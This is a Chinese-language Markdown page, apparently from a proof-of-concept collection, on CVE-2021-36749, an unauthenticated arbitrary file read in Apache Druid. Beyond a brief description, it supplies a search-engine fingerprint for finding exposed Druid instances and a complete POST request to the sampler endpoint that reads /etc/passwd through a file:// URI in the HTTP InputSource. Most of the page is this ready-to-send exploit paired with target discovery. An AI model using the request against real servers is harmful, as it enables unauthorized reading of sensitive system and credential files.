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40 lines
1.3 KiB
Markdown
40 lines
1.3 KiB
Markdown
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# Apache Druid LoadData 任意文件读取漏洞 CVE-2021-36749
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## 漏洞描述
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由于用户指定 HTTP InputSource 没有做出限制，可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。攻击者可利用该漏洞在未授权情况下，构造恶意请求执行文件读取，最终造成服务器敏感性信息泄露。
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## 漏洞影响
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```
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Apache Druid
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```
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## 网络测绘
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```
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title="Apache Druid"
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```
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## 漏洞复现
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主页面
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复现过程
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请求包为
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```
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POST /druid/indexer/v1/sampler?for=connect
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Accept: application/json, text/plain, */*
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{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["file:///etc/passwd"]},"inputFormat":{"type":"regex","pattern":"(.*)","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{}},"tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}
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```
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